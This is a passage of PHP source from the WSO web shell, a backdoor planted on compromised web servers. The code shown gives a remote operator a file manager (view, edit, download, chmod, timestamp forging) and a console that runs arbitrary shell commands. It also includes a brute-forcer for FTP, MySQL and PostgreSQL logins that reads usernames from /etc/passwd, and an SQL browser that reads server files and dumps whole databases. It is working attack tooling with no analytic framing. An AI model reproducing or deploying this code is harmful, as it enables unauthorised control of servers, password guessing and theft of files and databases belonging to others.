if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) | |
$files[] = array_merge($tmp, array('type' => 'file')); | |
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) | |
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); | |
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])) | |
$dirs[] = array_merge($tmp, array('type' => 'dir')); | |
} | |
$GLOBALS['sort'] = $sort; | |
function wsoCmp($a, $b) { | |
if($GLOBALS['sort'][0] != 'size') | |
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); | |
else | |
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); | |
} | |
usort($files, "wsoCmp"); | |
usort($dirs, "wsoCmp"); | |
$files = array_merge($dirs, $files); | |
$l = 0; | |
foreach($files as $f) { | |
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] | |
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; | |
$l = $l?0:1; | |
} | |
echo "<tr><td colspan=7> | |
<input type=hidden name=a value='FilesMan'> | |
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> | |
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> | |
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; | |
if(class_exists('ZipArchive')) | |
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; | |
echo "<option value='tar'>Compress (tar.gz)</option>"; | |
if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) | |
echo "<option value='paste'>Paste / Compress</option>"; | |
echo "</select> "; | |
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) | |
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> "; | |
echo "<input type='submit' value='>>'></td></tr></form></table></div>"; | |
wsoFooter(); | |
} | |
function actionStringTools() { | |
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} | |
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} | |
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} | |
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} | |
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} | |
$stringTools = array( | |
'Base64 encode' => 'base64_encode', | |
'Base64 decode' => 'base64_decode', | |
'Url encode' => 'urlencode', | |
'Url decode' => 'urldecode', | |
'Full urlencode' => 'full_urlencode', | |
'md5 hash' => 'md5', | |
'sha1 hash' => 'sha1', | |
'crypt' => 'crypt', | |
'CRC32' => 'crc32', | |
'ASCII to HEX' => 'ascii2hex', | |
'HEX to ASCII' => 'hex2ascii', | |
'HEX to DEC' => 'hexdec', | |
'HEX to BIN' => 'hex2bin', | |
'DEC to HEX' => 'dechex', | |
'DEC to BIN' => 'decbin', | |
'BIN to HEX' => 'binhex', | |
'BIN to DEC' => 'bindec', | |
'String to lower case' => 'strtolower', | |
'String to upper case' => 'strtoupper', | |
'Htmlspecialchars' => 'htmlspecialchars', | |
'String length' => 'strlen', | |
); | |
if(isset($_POST['ajax'])) { | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
ob_start(); | |
if(in_array($_POST['p1'], $stringTools)) | |
echo $_POST['p1']($_POST['p2']); | |
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; | |
echo strlen($temp), "\n", $temp; | |
exit; | |
} | |
if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
wsoHeader(); | |
echo '<h1>String conversions</h1><div class=content>'; | |
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; | |
foreach($stringTools as $k => $v) | |
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; | |
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 > send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; | |
if(!empty($_POST['p1'])) { | |
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); | |
} | |
echo"</pre></div><br><h1>Search files:</h1><div class=content> | |
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> | |
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> | |
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> | |
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> | |
<tr><td></td><td><input type='submit' value='>>'></td></tr> | |
</table></form>"; | |
function wsoRecursiveGlob($path) { | |
if(substr($path, -1) != '/') | |
$path.='/'; | |
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); | |
if(is_array($paths)&&@count($paths)) { | |
foreach($paths as $item) { | |
if(@is_dir($item)){ | |
if($path!=$item) | |
wsoRecursiveGlob($item); | |
} else { | |
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) | |
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>"; | |
} | |
} | |
} | |
} | |
if(@$_POST['p3']) | |
wsoRecursiveGlob($_POST['c']); | |
echo "</div><br><h1>Search for hash:</h1><div class=content> | |
<form method='post' target='_blank' name='hf'> | |
<input type='text' name='hash' style='width:200px;'><br> | |
<input type='hidden' name='act' value='find'/> | |
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> | |
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> | |
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br> | |
</form></div>"; | |
wsoFooter(); | |
} | |
function actionFilesTools() { | |
if( isset($_POST['p1']) ) | |
$_POST['p1'] = urldecode($_POST['p1']); | |
if(@$_POST['p2']=='download') { | |
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { | |
ob_start("ob_gzhandler", 4096); | |
header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); | |
if (function_exists("mime_content_type")) { | |
$type = @mime_content_type($_POST['p1']); | |
header("Content-Type: " . $type); | |
} else | |
header("Content-Type: application/octet-stream"); | |
$fp = @fopen($_POST['p1'], "r"); | |
if($fp) { | |
while(!@feof($fp)) | |
echo @fread($fp, 1024); | |
fclose($fp); | |
} | |
}exit; | |
} | |
if( @$_POST['p2'] == 'mkfile' ) { | |
if(!file_exists($_POST['p1'])) { | |
$fp = @fopen($_POST['p1'], 'w'); | |
if($fp) { | |
$_POST['p2'] = "edit"; | |
fclose($fp); | |
} | |
} | |
} | |
wsoHeader(); | |
echo '<h1>File tools</h1><div class=content>'; | |
if( !file_exists(@$_POST['p1']) ) { | |
echo 'File not exists'; | |
wsoFooter(); | |
return; | |
} | |
$uid = @posix_getpwuid(@fileowner($_POST['p1'])); | |
if(!$uid) { | |
$uid['name'] = @fileowner($_POST['p1']); | |
$gid['name'] = @filegroup($_POST['p1']); | |
} else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); | |
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; | |
echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; | |
if( empty($_POST['p2']) ) | |
$_POST['p2'] = 'view'; | |
if( is_file($_POST['p1']) ) | |
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); | |
else | |
$m = array('Chmod', 'Rename', 'Touch'); | |
foreach($m as $v) | |
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; | |
echo '<br><br>'; | |
switch($_POST['p2']) { | |
case 'view': | |
echo '<pre class=ml1>'; | |
$fp = @fopen($_POST['p1'], 'r'); | |
if($fp) { | |
while( !@feof($fp) ) | |
echo htmlspecialchars(@fread($fp, 1024)); | |
@fclose($fp); | |
} | |
echo '</pre>'; | |
break; | |
case 'highlight': | |
if( @is_readable($_POST['p1']) ) { | |
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; | |
$code = @highlight_file($_POST['p1'],true); | |
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; | |
} | |
break; | |
case 'chmod': | |
if( !empty($_POST['p3']) ) { | |
$perms = 0; | |
for($i=strlen($_POST['p3'])-1;$i>=0;--$i) | |
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); | |
if(!@chmod($_POST['p1'], $perms)) | |
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; | |
} | |
clearstatcache(); | |
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; | |
break; | |
case 'edit': | |
if( !is_writable($_POST['p1'])) { | |
echo 'File isn\'t writeable'; | |
break; | |
} | |
if( !empty($_POST['p3']) ) { | |
$time = @filemtime($_POST['p1']); | |
$_POST['p3'] = substr($_POST['p3'],1); | |
$fp = @fopen($_POST['p1'],"w"); | |
if($fp) { | |
@fwrite($fp,$_POST['p3']); | |
@fclose($fp); | |
echo 'Saved!<br><script>p3_="";</script>'; | |
@touch($_POST['p1'],$time,$time); | |
} | |
} | |
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; | |
$fp = @fopen($_POST['p1'], 'r'); | |
if($fp) { | |
while( !@feof($fp) ) | |
echo htmlspecialchars(@fread($fp, 1024)); | |
@fclose($fp); | |
} | |
echo '</textarea><input type=submit value=">>"></form>'; | |
break; | |
case 'hexdump': | |
$c = @file_get_contents($_POST['p1']); | |
$n = 0; | |
$h = array('00000000<br>','',''); | |
$len = strlen($c); | |
for ($i=0; $i<$len; ++$i) { | |
$h[1] .= sprintf('%02X',ord($c[$i])).' '; | |
switch ( ord($c[$i]) ) { | |
case 0: $h[2] .= ' '; break; | |
case 9: $h[2] .= ' '; break; | |
case 10: $h[2] .= ' '; break; | |
case 13: $h[2] .= ' '; break; | |
default: $h[2] .= $c[$i]; break; | |
} | |
$n++; | |
if ($n == 32) { | |
$n = 0; | |
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} | |
$h[1] .= '<br>'; | |
$h[2] .= "\n"; | |
} | |
} | |
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; | |
break; | |
case 'rename': | |
if( !empty($_POST['p3']) ) { | |
if(!@rename($_POST['p1'], $_POST['p3'])) | |
echo 'Can\'t rename!<br>'; | |
else | |
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); | |
} | |
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; | |
break; | |
case 'touch': | |
if( !empty($_POST['p3']) ) { | |
$time = strtotime($_POST['p3']); | |
if($time) { | |
if(!touch($_POST['p1'],$time,$time)) | |
echo 'Fail!'; | |
else | |
echo 'Touched!'; | |
} else echo 'Bad time format!'; | |
} | |
clearstatcache(); | |
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; | |
break; | |
} | |
echo '</div>'; | |
wsoFooter(); | |
} | |
function actionConsole() { | |
if(!empty($_POST['p1']) && !empty($_POST['p2'])) { | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); | |
$_POST['p1'] .= ' 2>&1'; | |
} elseif(!empty($_POST['p1'])) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); | |
if(isset($_POST['ajax'])) { | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
ob_start(); | |
echo "d.cf.cmd.value='';\n"; | |
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); | |
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { | |
if(@chdir($match[1])) { | |
$GLOBALS['cwd'] = @getcwd(); | |
echo "c_='".$GLOBALS['cwd']."';"; | |
} | |
} | |
echo "d.cf.output.value+='".$temp."';"; | |
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; | |
$temp = ob_get_clean(); | |
echo strlen($temp), "\n", $temp; | |
exit; | |
} | |
if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
wsoHeader(); | |
echo "<script> | |
if(window.Event) window.captureEvents(Event.KEYDOWN); | |
var cmds = new Array(''); | |
var cur = 0; | |
function kp(e) { | |
var n = (window.Event) ? e.which : e.keyCode; | |
if(n == 38) { | |
cur--; | |
if(cur>=0) | |
document.cf.cmd.value = cmds[cur]; | |
else | |
cur++; | |
} else if(n == 40) { | |
cur++; | |
if(cur < cmds.length) | |
document.cf.cmd.value = cmds[cur]; | |
else | |
cur--; | |
} | |
} | |
function add(cmd) { | |
cmds.pop(); | |
cmds.push(cmd); | |
cmds.push(''); | |
cur = cmds.length-1; | |
} | |
</script>"; | |
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; | |
foreach($GLOBALS['aliases'] as $n => $v) { | |
if($v == '') { | |
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; | |
continue; | |
} | |
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; | |
} | |
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 > send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; | |
if(!empty($_POST['p1'])) { | |
echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); | |
} | |
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; | |
echo '</form></div><script>d.cf.cmd.focus();</script>'; | |
wsoFooter(); | |
} | |
function actionLogout() { | |
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); | |
die('bye!'); | |
} | |
function actionSelfRemove() { | |
if($_POST['p1'] == 'yes') | |
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) | |
die('Shell has been removed'); | |
else | |
echo 'unlink error!'; | |
if($_POST['p1'] != 'yes') | |
wsoHeader(); | |
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; | |
wsoFooter(); | |
} | |
function actionBruteforce() { | |
wsoHeader(); | |
if( isset($_POST['proto']) ) { | |
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; | |
if( $_POST['proto'] == 'ftp' ) { | |
function wsoBruteForce($ip,$port,$login,$pass) { | |
$fp = @ftp_connect($ip, $port?$port:21); | |
if(!$fp) return false; | |
$res = @ftp_login($fp, $login, $pass); | |
@ftp_close($fp); | |
return $res; | |
} | |
} elseif( $_POST['proto'] == 'mysql' ) { | |
function wsoBruteForce($ip,$port,$login,$pass) { | |
$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass); | |
@mysql_close($res); | |
return $res; | |
} | |
} elseif( $_POST['proto'] == 'pgsql' ) { | |
function wsoBruteForce($ip,$port,$login,$pass) { | |
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; | |
$res = @pg_connect($str); | |
@pg_close($res); | |
return $res; | |
} | |
} | |
$success = 0; | |
$attempts = 0; | |
$server = explode(":", $_POST['server']); | |
if($_POST['type'] == 1) { | |
$temp = @file('/etc/passwd'); | |
if( is_array($temp) ) | |
foreach($temp as $line) { | |
$line = explode(":", $line); | |
++$attempts; | |
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { | |
$success++; | |
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; | |
} | |
if(@$_POST['reverse']) { | |
$tmp = ""; | |
for($i=strlen($line[0])-1; $i>=0; --$i) | |
$tmp .= $line[0][$i]; | |
++$attempts; | |
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { | |
$success++; | |
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); | |
} | |
} | |
} | |
} elseif($_POST['type'] == 2) { | |
$temp = @file($_POST['dict']); | |
if( is_array($temp) ) | |
foreach($temp as $line) { | |
$line = trim($line); | |
++$attempts; | |
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { | |
$success++; | |
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; | |
} | |
} | |
} | |
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; | |
} | |
echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' | |
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' | |
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' | |
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' | |
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' | |
.'<span>Server:port</span></td>' | |
.'<td><input type=text name=server value="127.0.0.1"></td></tr>' | |
.'<tr><td><span>Brute type</span></td>' | |
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' | |
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' | |
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' | |
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' | |
.'<td><input type=text name=login value="root"></td></tr>' | |
.'<tr><td><span>Dictionary</span></td>' | |
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' | |
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; | |
echo '</div><br>'; | |
wsoFooter(); | |
} | |
function actionSql() { | |
class DbClass { | |
var $type; | |
var $link; | |
var $res; | |
function DbClass($type) { | |
$this->type = $type; | |
} | |
function connect($host, $user, $pass, $dbname){ | |
switch($this->type) { | |
case 'mysql': | |
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; | |
break; | |
case 'pgsql': | |
$host = explode(':', $host); | |
if(!$host[1]) $host[1]=5432; | |
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; | |
break; | |
} | |
return false; | |
} | |
function selectdb($db) { | |
switch($this->type) { | |
case 'mysql': | |
if (@mysql_select_db($db))return true; | |
break; | |
} | |
return false; | |
} | |
function query($str) { | |
switch($this->type) { | |
case 'mysql': | |
return $this->res = @mysql_query($str); | |
break; | |
case 'pgsql': | |
return $this->res = @pg_query($this->link,$str); | |
break; | |
} | |
return false; | |
} | |
function fetch() { | |
$res = func_num_args()?func_get_arg(0):$this->res; | |
switch($this->type) { | |
case 'mysql': | |
return @mysql_fetch_assoc($res); | |
break; | |
case 'pgsql': | |
return @pg_fetch_assoc($res); | |
break; | |
} | |
return false; | |
} | |
function listDbs() { | |
switch($this->type) { | |
case 'mysql': | |
return $this->query("SHOW databases"); | |
break; | |
case 'pgsql': | |
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); | |
break; | |
} | |
return false; | |
} | |
function listTables() { | |
switch($this->type) { | |
case 'mysql': | |
return $this->res = $this->query('SHOW TABLES'); | |
break; | |
case 'pgsql': | |
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); | |
break; | |
} | |
return false; | |
} | |
function error() { | |
switch($this->type) { | |
case 'mysql': | |
return @mysql_error(); | |
break; | |
case 'pgsql': | |
return @pg_last_error(); | |
break; | |
} | |
return false; | |
} | |
function setCharset($str) { | |
switch($this->type) { | |
case 'mysql': | |
if(function_exists('mysql_set_charset')) | |
return @mysql_set_charset($str, $this->link); | |
else | |
$this->query('SET CHARSET '.$str); | |
break; | |
case 'pgsql': | |
return @pg_set_client_encoding($this->link, $str); | |
break; | |
} | |
return false; | |
} | |
function loadFile($str) { | |
switch($this->type) { | |
case 'mysql': | |
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); | |
break; | |
case 'pgsql': | |
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); | |
$r=array(); | |
while($i=$this->fetch()) | |
$r[] = $i['file']; | |
$this->query('drop table wso2'); | |
return array('file'=>implode("\n",$r)); | |
break; | |
} | |
return false; | |
} | |
function dump($table, $fp = false) { | |
switch($this->type) { | |
case 'mysql': | |
$res = $this->query('SHOW CREATE TABLE `'.$table.'`'); | |
$create = mysql_fetch_array($res); | |
$sql = $create[1].";\n"; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
$this->query('SELECT * FROM `'.$table.'`'); | |
$i = 0; | |
$head = true; | |
while($item = $this->fetch()) { | |
$sql = ''; | |
if($i % 1000 == 0) { | |
$head = true; | |
$sql = ";\n\n"; | |
} | |
$columns = array(); | |
foreach($item as $k=>$v) { | |
if($v === null) | |
$item[$k] = "NULL"; | |
elseif(is_int($v)) | |
$item[$k] = $v; | |
else | |
$item[$k] = "'".@mysql_real_escape_string($v)."'"; | |
$columns[] = "`".$k."`"; | |
} | |
if($head) { | |
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; | |
$head = false; | |
} else | |
$sql .= "\n\t,(".implode(", ", $item).')'; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
$i++; | |
} | |
if(!$head) | |
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); | |
break; | |
case 'pgsql': | |
$this->query('SELECT * FROM '.$table); | |
while($item = $this->fetch()) { | |
$columns = array(); | |
foreach($item as $k=>$v) { | |
$item[$k] = "'".addslashes($v)."'"; | |
$columns[] = $k; | |
} | |
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
} | |
break; | |
} | |
return false; | |
} | |
}; | |
$db = new DbClass($_POST['type']); | |
if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) { | |
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); | |
$db->selectdb($_POST['sql_base']); | |
switch($_POST['charset']) { | |
case "Windows-1251": $db->setCharset('cp1251'); break; | |
case "UTF-8": $db->setCharset('utf8'); break; | |
case "KOI8-R": $db->setCharset('koi8r'); break; | |
case "KOI8-U": $db->setCharset('koi8u'); break; | |
case "cp866": $db->setCharset('cp866'); break; | |
} | |
if(empty($_POST['file'])) { | |
ob_start("ob_gzhandler", 4096); | |
header("Content-Disposition: attachment; filename=dump.sql"); | |
header("Content-Type: text/plain"); | |
foreach($_POST['tbl'] as $v) | |
$db->dump($v); | |
exit; | |
} elseif($fp = @fopen($_POST['file'], 'w')) { | |
foreach($_POST['tbl'] as $v) | |
$db->dump($v, $fp); | |
fclose($fp); | |
unset($_POST['p2']); | |
} else | |
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); | |
} | |
wsoHeader(); | |
echo " | |
<h1>Sql browser</h1><div class=content> | |
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> | |
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> | |
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> | |
<td><select name='type'><option value='mysql' "; | |
if(@$_POST['type']=='mysql')echo 'selected'; | |
echo ">MySql</option><option value='pgsql' "; | |
if(@$_POST['type']=='pgsql')echo 'selected'; | |
echo ">PostgreSql</option></select></td> | |
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td> | |
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td> | |
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>"; | |
$tmp = "<input type=text name=sql_base value=''>"; | |
if(isset($_POST['sql_host'])){ | |
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { | |
switch($_POST['charset']) { | |
case "Windows-1251": $db->setCharset('cp1251'); break; | |
case "UTF-8": $db->setCharset('utf8'); break; | |
case "KOI8-R": $db->setCharset('koi8r'); break; | |
case "KOI8-U": $db->setCharset('koi8u'); break; | |
case "cp866": $db->setCharset('cp866'); break; | |
} | |
$db->listDbs(); | |
echo "<select name=sql_base><option value=''></option>"; | |
while($item = $db->fetch()) { | |
list($key, $value) = each($item); | |
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; | |
} | |
echo '</select>'; | |
} | |
else echo $tmp; | |
